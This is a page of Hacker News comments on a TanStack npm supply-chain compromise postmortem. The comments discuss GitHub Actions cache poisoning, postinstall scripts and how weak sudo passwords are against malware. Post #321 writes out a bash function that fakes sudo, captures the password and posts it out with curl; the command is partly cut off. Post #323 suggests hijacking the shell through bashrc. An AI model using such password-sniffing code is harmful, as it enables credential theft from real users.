Hacker News Board Hacker News, browsed like a classic message board
Live data from Hacker News

Postmortem: TanStack NPM supply-chain compromise

tanstack.com

Post reply on HN
Print view View original

321–330 of 501 posts

Re: Postmortem: TanStack NPM supply-chain compromise

#321

Post by FooBarWidget »

lrvick wrote: post #179
eqvinox wrote: post #158

Earlier quoted context omitted.

[On Linux:] If you didn't give yourself "free" (passwordless) sudo, that's not necessary… …unless it happened in a week with 2 and a half Linux kernel LPEs.

Sudo is security theater. Malware can make a fake unprivileged sudo that sniffs your password. function sudo () { realsudo=$(which sudo); read -r -s -p "[sudo] password for $USER: " password; echo "$USER: $password" | \ curl -F 'p= /dev/null 2>&1; $realsudo -S /dev/null 2>&1; $realsudo "${@:1}"; }

It would be great if

1. shells support the notion of privileged commands, that can't be overridden with PATH manipulations, aliases or functions.

2. Sudo (or PAM actually) can authenticate with your identity provider (like Entra ID) instead of a local password. Then there is nothing to sniff and you can also use 2FA or passkeys.

Re: Postmortem: TanStack NPM supply-chain compromise

#322

Post by lexicality »

koolba wrote: post #236
duskdozer wrote: post #220

Earlier quoted context omitted.

github holding on to orphaned commits has been a noted issue for a while now

It’s a wonderful feature when you accidentally nuke your one and only local copy.

Depending on how badly you nuked it, it's probably still in your `git reflog` locally. Normal git hangs on to orphaned commits too. (Until `git gc` runs)

Re: Postmortem: TanStack NPM supply-chain compromise

#323

Post by pastage »

fragmede wrote: post #309
exyi wrote: post #306

Earlier quoted context omitted.

Ok, so the malware runs a keylogger / clipboard logger, gets the password and runs sudo on it's own. Or replaces your shell by putting exec ~/hackedbash into your bashrc Password on sudo is only useful if you detect the infection before you run sudo

Could link it to a yubikey via pam.d so you need a fingerpress to authenticate.

Physical attestations are hard to solve, I think it would be nice if all TPMs in laptops had this. Then the problem becomes how do you automate stuff that needs to be done.

Re: Postmortem: TanStack NPM supply-chain compromise

#324

Post by ricardobeat »

jonchurch_ wrote: post #173
chrisweekly wrote: post #40

Postinstall scripts are deadly. Everyone should be using pnpm. Crazy that an "orphan" commit pushed to a FORK(!) could trigger this (in npm clients). IMO GitHub deserves much of the blame here. A malicious fork's commits are reachable via GitHub's shared object storage at a URI indistinguishable from the legit repo. That is absolutely bonkers.

The compromised action here was using pnpm. They poisoned the github action cache, which was caching the pnpm store. The chain required pull_request_target on the job to check bundle size, which had cache access and poisoned the main repo’s cache The malicious package that was publisjed will compromise local machines its installed in via the prepare script, though.

Those are two different attack vectors. The exploit they used on Github Actions would work for either npm or pnpm. But the replication part using postinstall scripts, once it is installed on another machine, would be stopped by pnpm.

What I'm curious about is: how can you poison the cache in CI, if the lockfile has an integrity hash for each package?

Did the incoming PR modify pnpm-lock.yaml? If so, that would an obvious thing to disallow in any open-source project and require maintainer oversight.

Re: Postmortem: TanStack NPM supply-chain compromise

#325

Post by regularfry »

lemoncucumber wrote: post #286
kaonwarb wrote: post #268

Earlier quoted context omitted.

I've heard this often enough from English speakers from India that I think it is accepted grammar in that region.

To my ears it “since years” sounds like it’s missing an “ago” after it (or like the GP said “for years” sounds even more natural). It makes me think of another similar one: I've noticed that British English speakers will say e.g. "the new iPhone will be available from September 20th" To my ears that sounds like it's missing an “onwards” after it (or “starting September 20th” would sound even more natural).

Is the meaning different? I'm struggling to see how "from September 20th" would have a different implication to "starting from September 20th" (or similar) given the context.

Re: Postmortem: TanStack NPM supply-chain compromise

#326

Post by sinsudo »

DonHopkins wrote: post #319
sinsudo wrote: post #295

Earlier quoted context omitted.

The real problem is that there should be at least 2 levels for sudo, one for installing software and another that really allows someone to compromise the entire system, both layers should be separate to mitigate risk. At least the most secure layer should allow you to perform secure recovering and diagnosis

Unix used to have a user named "bin" just for owning all the binaries and performing installs.

The old bin user is an idea that could be modernized with a new two level sudo concept, the higher one for recovery and diagnosis, already done in Chromebook and other solutions

Re: Postmortem: TanStack NPM supply-chain compromise

#327

Post by febusravenga »

slopinthebag wrote: post #3

My decision to abandon the JS ecosystem and language entirely continues to pay off. What a mess... I am, however, concerned that this will pwn my workplace. We don't use Tanstack but this seems self-propagating and I doubt all of our dependencies are doing enough to prevent it.

This is GitHub FU.

Key issue here is cache poisoning, that is feature/bug that exist in utility functions/actions provided by Github.

Even if there was misconfiguration on tanstack side, then root cause is on. GH for even allowing insecure workflows to interfere with secure ones.

Here people are trying to fix defaults - not to write cache in insecure context -> https://github.com/actions/cache/issues/1756

(even if sufficiely smart attacker would find the key somewhere and skip this kind of prodection, not sure where but write-allowing-key it must exist somewhere in runtime if actions/cache can us it)

Someone else on this thread:

> On GitLab even if you set the same cache key it will not cross between unprotected and protected runs.

Re: Postmortem: TanStack NPM supply-chain compromise

#328

Post by febusravenga »

rvz wrote: post #16

Once again, Shai-Hulud wrecking havock in the Javascript and Typescript ecosystems via NPM. One of the worst ecosystems that has been brought into the software industry and it is almost always via NPM. Not even Cargo (Rust) or go mod (Golang) get as many attacks because at least with the latter, they encourage you to use the standard library. Both Javascript and Typescript have none and want you to import hundreds of…

It's not failure of npm/js ecosystem. It's Github Actions failure that allowed this to happen.

Re: Postmortem: TanStack NPM supply-chain compromise

#329

Post by sinsudo »

eviks wrote: post #308
sinsudo wrote: post #283

Earlier quoted context omitted.

Use /usr/bin/sudo yourcommand with any intermediate command not using path but it's real path hard coded. Edited: Previous suggested using \sudo but it depends of the variable path which can be modified by the attacker.

Why not make a proper link /sudo so you don't have to type out the full path every time, which is very inconvenient? (but the fact that such workarounds are needed still means it's a theater)

Anything that can be modified by an attacker can not be used to secure the sudo command. This is a recursive requirementor hierarchy for secure systems.

Re: Postmortem: TanStack NPM supply-chain compromise

#330

Post by sevenzero »

eviks wrote: post #314
sevenzero wrote: post #280

So how many supply chain attacks do we need to actually change things? Feels like I read about new supply chain attacks every day at this point.

As many as fit in a period of time it takes a better generation of developers to grow up

Unfortunately I think devs nowadays (me included) are insanely bad compared to the devs back in the day who actually had to learn about their computers.
Post reply on HN